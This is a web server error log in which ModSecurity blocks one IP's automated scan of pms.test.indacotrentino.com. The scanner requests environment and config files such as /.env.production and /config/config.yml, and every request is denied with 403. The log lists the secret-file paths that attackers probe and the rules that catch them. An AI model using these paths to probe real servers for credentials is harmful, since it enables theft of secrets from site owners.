[Wed Feb 25 06:05:00.840142 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env.local&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXLwAAAAQ&quot;]
[Wed Feb 25 06:05:00.840323 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env.local&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXLwAAAAQ&quot;]
[Wed Feb 25 06:05:00.851522 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.dev&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWvgAAAAI&quot;]
[Wed Feb 25 06:05:00.851787 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.dev&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWvgAAAAI&quot;]
[Wed Feb 25 06:05:00.851965 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.dev&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWvgAAAAI&quot;]
[Wed Feb 25 06:05:00.866736 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev_env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev_env/.env&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXMAAAAAQ&quot;]
[Wed Feb 25 06:05:00.866994 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev_env/.env&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXMAAAAAQ&quot;]
[Wed Feb 25 06:05:00.867174 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev_env/.env&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXMAAAAAQ&quot;]
[Wed Feb 25 06:05:00.892526 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.local&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWvwAAAAI&quot;]
[Wed Feb 25 06:05:00.892839 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.local&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWvwAAAAI&quot;]
[Wed Feb 25 06:05:00.893040 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.local&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWvwAAAAI&quot;]
[Wed Feb 25 06:05:00.918880 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.production&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWwAAAAAI&quot;]
[Wed Feb 25 06:05:00.919171 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.production&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWwAAAAAI&quot;]
[Wed Feb 25 06:05:00.919359 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.production&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWwAAAAAI&quot;]
[Wed Feb 25 06:05:01.091236 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /developer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXMgAAAAQ&quot;]
[Wed Feb 25 06:05:01.091536 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXMgAAAAQ&quot;]
[Wed Feb 25 06:05:01.091741 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXMgAAAAQ&quot;]
[Wed Feb 25 06:05:01.188720 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /developerslv/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developerslv/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXMwAAAAQ&quot;]
[Wed Feb 25 06:05:01.189007 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developerslv/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXMwAAAAQ&quot;]
[Wed Feb 25 06:05:01.189195 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developerslv/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXMwAAAAQ&quot;]
[Wed Feb 25 06:05:01.214453 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /development/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXNAAAAAQ&quot;]
[Wed Feb 25 06:05:01.214767 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXNAAAAAQ&quot;]
[Wed Feb 25 06:05:01.214954 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXNAAAAAQ&quot;]
[Wed Feb 25 06:05:01.216573 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/config/config.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/config.yml found within REQUEST_FILENAME: /config/config.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKWxAAAAAI&quot;]
[Wed Feb 25 06:05:01.216807 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKWxAAAAAI&quot;]
[Wed Feb 25 06:05:01.216958 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKWxAAAAAI&quot;]
[Wed Feb 25 06:05:01.368742 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /directories/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/directories/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXNwAAAAQ&quot;]
[Wed Feb 25 06:05:01.369019 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/directories/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXNwAAAAQ&quot;]
[Wed Feb 25 06:05:01.369199 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/directories/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXNwAAAAQ&quot;]
[Wed Feb 25 06:05:01.454399 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dist/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXOAAAAAQ&quot;]
[Wed Feb 25 06:05:01.454642 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXOAAAAAQ&quot;]
[Wed Feb 25 06:05:01.454811 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXOAAAAAQ&quot;]
[Wed Feb 25 06:05:01.534102 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /containerregistry/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ContainerRegistry/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKWygAAAAI&quot;]
